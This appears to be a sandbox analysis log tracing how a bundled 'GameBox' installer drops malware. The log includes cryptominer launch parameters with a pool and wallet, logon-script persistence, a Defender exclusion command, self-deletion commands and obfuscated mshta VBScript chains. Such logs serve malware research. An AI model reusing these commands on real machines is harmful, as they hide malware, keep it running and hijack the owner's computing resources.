C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-4O218.tmp\Stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-4O218.tmp\Stats.tmp" /SL5="$40260,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-I5BST.tmp\builder.exe"C:\Users\Admin\AppData\Local\Temp\is-I5BST.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'7⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im runvd.exe /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-H8BKF.tmp\Inlog.tmp"C:\Users\Admin\AppData\Local\Temp\is-H8BKF.tmp\Inlog.tmp" /SL5="$4019C,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-FU3SF.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-FU3SF.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7217⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6K4EU.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-6K4EU.tmp\Setup.tmp" /SL5="$40238,17339287,721408,C:\Users\Admin\AppData\Local\Temp\is-FU3SF.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7218⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-AQQVN.tmp\{app}\microsoft.cab -F:* %ProgramData%9⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-AQQVN.tmp\{app}\microsoft.cab -F:* C:\ProgramData10⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f9⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f10⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://afleof21klg.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7219⤵
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AQQVN.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-AQQVN.tmp\{app}\vdi_compiler"9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-AQQVN.tmp\{app}\vdi_compiler.exe"10⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 411⤵
- Runs ping.exe
-
C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629550566 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-IA0SR.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-IA0SR.tmp\MediaBurner2.tmp" /SL5="$901E2,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-EOTSB.tmp\ultradumnibour.exe"C:\Users\Admin\AppData\Local\Temp\is-EOTSB.tmp\ultradumnibour.exe" /S /UID=burnerch27⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Uninstall Information\HSDNEAPZID\ultramediaburner.exe"C:\Program Files\Uninstall Information\HSDNEAPZID\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EF0I2.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-EF0I2.tmp\ultramediaburner.tmp" /SL5="$6019C,281924,62464,C:\Program Files\Uninstall Information\HSDNEAPZID\ultramediaburner.exe" /VERYSILENT9⤵
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
C:\Users\Admin\AppData\Local\Temp\ae-5e2b5-811-1339b-3f0a194038a68\Cylobaemopu.exe"C:\Users\Admin\AppData\Local\Temp\ae-5e2b5-811-1339b-3f0a194038a68\Cylobaemopu.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lkwflwk1.bv5\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\lkwflwk1.bv5\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\lkwflwk1.bv5\GcleanerEU.exe /eufive10⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8772 -s 65211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8772 -s 66811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8772 -s 70411⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8772 -s 93211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8772 -s 128811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8772 -s 130011⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oenmk40q.kmm\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\oenmk40q.kmm\installer.exeC:\Users\Admin\AppData\Local\Temp\oenmk40q.kmm\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zowmwjoc.pbe\ufgaa.exe & exit9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2i01hsh4.ioq\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\2i01hsh4.ioq\anyname.exeC:\Users\Admin\AppData\Local\Temp\2i01hsh4.ioq\anyname.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\2i01hsh4.ioq\anyname.exe"C:\Users\Admin\AppData\Local\Temp\2i01hsh4.ioq\anyname.exe" -q11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r2r2ovvo.nz2\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\r2r2ovvo.nz2\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\r2r2ovvo.nz2\gcleaner.exe /mixfive10⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 360 -s 72811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 360 -s 81611⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p2n15xsc.dgq\autosubplayer.exe /S & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ac-d0ed6-36a-cc9bf-88147054eed58\Lebafolavu.exe"C:\Users\Admin\AppData\Local\Temp\ac-d0ed6-36a-cc9bf-88147054eed58\Lebafolavu.exe"8⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-QH8UV.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-QH8UV.tmp\VPN.tmp" /SL5="$10380,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-8LPQR.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-8LPQR.tmp\Setup.exe" /silent /subid=7207⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OS7ES.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-OS7ES.tmp\Setup.tmp" /SL5="$302A2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-8LPQR.tmp\Setup.exe" /silent /subid=7208⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090110⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall9⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install9⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\1329575.exe"C:\Users\Admin\AppData\Roaming\1329575.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\1442938.exe"C:\Users\Admin\AppData\Roaming\1442938.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\7602529.exe"C:\Users\Admin\AppData\Roaming\7602529.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\6014635.exe"C:\Users\Admin\AppData\Roaming\6014635.exe"6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
C:\Users\Admin\AppData\Roaming\2865264.exe"C:\Users\Admin\AppData\Roaming\2865264.exe"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\7ZS8pKfnhwz3q1h3DgIzXdKB.exe"C:\Users\Admin\Documents\7ZS8pKfnhwz3q1h3DgIzXdKB.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\7803610.exe"C:\Users\Admin\AppData\Roaming\7803610.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2569013.exe"C:\Users\Admin\AppData\Roaming\2569013.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\7027347.exe"C:\Users\Admin\AppData\Roaming\7027347.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2708792.exe"C:\Users\Admin\AppData\Roaming\2708792.exe"7⤵
-
C:\Users\Admin\Documents\YHWHEZmeEyKNk8P_o5CSsVfI.exe"C:\Users\Admin\Documents\YHWHEZmeEyKNk8P_o5CSsVfI.exe"6⤵
-
C:\Users\Admin\Documents\D5PkGAd9X4WpRVhAbVqhYCzb.exe"C:\Users\Admin\Documents\D5PkGAd9X4WpRVhAbVqhYCzb.exe"6⤵
-
C:\Users\Admin\Documents\D5PkGAd9X4WpRVhAbVqhYCzb.exeC:\Users\Admin\Documents\D5PkGAd9X4WpRVhAbVqhYCzb.exe7⤵
-
C:\Users\Admin\Documents\pcqKehcwsAyU7dItuTnzPR5e.exe"C:\Users\Admin\Documents\pcqKehcwsAyU7dItuTnzPR5e.exe"6⤵
-
C:\Users\Admin\Documents\NoFsaYrS3qJYiqwOhyMWPLRP.exe"C:\Users\Admin\Documents\NoFsaYrS3qJYiqwOhyMWPLRP.exe"6⤵
-
C:\Users\Admin\Documents\0cbpkNPRueRUzU3C9DH4gwbX.exe"C:\Users\Admin\Documents\0cbpkNPRueRUzU3C9DH4gwbX.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 3887⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 3647⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 4287⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 6247⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 6847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 7447⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 7167⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 7807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 8287⤵
- Program crash
-
C:\Users\Admin\Documents\cIHnXYSWx_CMZAyyHrsQrDCY.exe"C:\Users\Admin\Documents\cIHnXYSWx_CMZAyyHrsQrDCY.exe"6⤵
-
C:\Users\Admin\Documents\f_wv0iEhCNIxDmpXasoZuI3P.exe"C:\Users\Admin\Documents\f_wv0iEhCNIxDmpXasoZuI3P.exe"6⤵
-
C:\Users\Admin\Documents\NWfuaxrHyuBDHJjpjbM2EX04.exe"C:\Users\Admin\Documents\NWfuaxrHyuBDHJjpjbM2EX04.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im NWfuaxrHyuBDHJjpjbM2EX04.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\NWfuaxrHyuBDHJjpjbM2EX04.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im NWfuaxrHyuBDHJjpjbM2EX04.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\GakHfATO3EPAbQBFr1Qoib8e.exe"C:\Users\Admin\Documents\GakHfATO3EPAbQBFr1Qoib8e.exe"6⤵
-
C:\Users\Admin\Documents\GakHfATO3EPAbQBFr1Qoib8e.exeC:\Users\Admin\Documents\GakHfATO3EPAbQBFr1Qoib8e.exe7⤵
-
C:\Users\Admin\Documents\GakHfATO3EPAbQBFr1Qoib8e.exeC:\Users\Admin\Documents\GakHfATO3EPAbQBFr1Qoib8e.exe7⤵
-
C:\Users\Admin\Documents\txZWmYUXBQtNpuzDFPN0oURw.exe"C:\Users\Admin\Documents\txZWmYUXBQtNpuzDFPN0oURw.exe"6⤵
-
C:\Users\Admin\Documents\txZWmYUXBQtNpuzDFPN0oURw.exe"C:\Users\Admin\Documents\txZWmYUXBQtNpuzDFPN0oURw.exe" -q7⤵
-
C:\Users\Admin\Documents\p7v_NJ4GUlJfIZ3QEaIVeSO9.exe"C:\Users\Admin\Documents\p7v_NJ4GUlJfIZ3QEaIVeSO9.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "p7v_NJ4GUlJfIZ3QEaIVeSO9.exe" /f & erase "C:\Users\Admin\Documents\p7v_NJ4GUlJfIZ3QEaIVeSO9.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "p7v_NJ4GUlJfIZ3QEaIVeSO9.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\r2DYN_R3GtxSF7C3ILuc69JT.exe"C:\Users\Admin\Documents\r2DYN_R3GtxSF7C3ILuc69JT.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7264 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7264 -s 6847⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7264 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7264 -s 7007⤵
- Program crash
-
C:\Users\Admin\Documents\vYKYAXLe2A9dQeubFBIO3oM6.exe"C:\Users\Admin\Documents\vYKYAXLe2A9dQeubFBIO3oM6.exe"6⤵
-
C:\Users\Admin\Documents\7PnpFazE_x52mscQeLmpteHQ.exe"C:\Users\Admin\Documents\7PnpFazE_x52mscQeLmpteHQ.exe"6⤵
-
C:\Users\Admin\Documents\iOFwnFTA_kIquF3IYC48rmFq.exe"C:\Users\Admin\Documents\iOFwnFTA_kIquF3IYC48rmFq.exe"6⤵
-
C:\Users\Admin\Documents\CM0pjLT2l5gqRzD8bYFa2ZCx.exe"C:\Users\Admin\Documents\CM0pjLT2l5gqRzD8bYFa2ZCx.exe"6⤵
-
C:\Users\Admin\Documents\ZLa3t3nixnNwc_osQXJ5uJLp.exe"C:\Users\Admin\Documents\ZLa3t3nixnNwc_osQXJ5uJLp.exe"6⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\ZLA3T3~1.DLL,s C:\Users\Admin\DOCUME~1\ZLA3T3~1.EXE7⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\ZLA3T3~1.DLL,GxYF8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\ZLA3T3~1.DLL9⤵
-
C:\Users\Admin\Documents\9L2fscoOw3Sv6cnMq6gQUBlH.exe"C:\Users\Admin\Documents\9L2fscoOw3Sv6cnMq6gQUBlH.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\9L2fscoOw3Sv6cnMq6gQUBlH.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\9L2fscoOw3Sv6cnMq6gQUBlH.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\9L2fscoOw3Sv6cnMq6gQUBlH.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\9L2fscoOw3Sv6cnMq6gQUBlH.exe") do taskkill -IM "%~nXW" -f8⤵
-
C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXeWO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu99⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "9L2fscoOw3Sv6cnMq6gQUBlH.exe" -f9⤵
- Executes dropped EXE
- Kills process with taskkill
-
C:\Users\Admin\Documents\PxtMDDHMPKEO97xL9T_ksZwx.exe"C:\Users\Admin\Documents\PxtMDDHMPKEO97xL9T_ksZwx.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NBOVL.tmp\PxtMDDHMPKEO97xL9T_ksZwx.tmp"C:\Users\Admin\AppData\Local\Temp\is-NBOVL.tmp\PxtMDDHMPKEO97xL9T_ksZwx.tmp" /SL5="$2042E,138429,56832,C:\Users\Admin\Documents\PxtMDDHMPKEO97xL9T_ksZwx.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-29L36.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-29L36.tmp\Setup.exe" /Verysilent8⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"9⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629550566 /qn CAMPAIGN=""710"" " CAMPAIGN="710"10⤵
-
C:\Users\Admin\Documents\JAOqySvmOpgqJMC8Db5l0UD7.exe"C:\Users\Admin\Documents\JAOqySvmOpgqJMC8Db5l0UD7.exe"6⤵
-
C:\Users\Admin\Documents\JAOqySvmOpgqJMC8Db5l0UD7.exe"C:\Users\Admin\Documents\JAOqySvmOpgqJMC8Db5l0UD7.exe"7⤵
-
C:\Users\Admin\Documents\XcOO_Ii3uxvyA5MHBXNYd5PP.exe"C:\Users\Admin\Documents\XcOO_Ii3uxvyA5MHBXNYd5PP.exe"6⤵
-
C:\Users\Admin\Documents\BeAWqRGDTRJtbTPEDwoxwVFS.exe"C:\Users\Admin\Documents\BeAWqRGDTRJtbTPEDwoxwVFS.exe"6⤵
-
C:\Users\Admin\Documents\dD_434GnBLxFhaIl0z7LIhcZ.exe"C:\Users\Admin\Documents\dD_434GnBLxFhaIl0z7LIhcZ.exe"6⤵
-
C:\Users\Admin\Documents\dD_434GnBLxFhaIl0z7LIhcZ.exe"C:\Users\Admin\Documents\dD_434GnBLxFhaIl0z7LIhcZ.exe"7⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\tmpCE87_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpCE87_tmp.exe"6⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comEsplorarne.exe.com i9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i10⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i11⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i12⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i13⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i14⤵
-
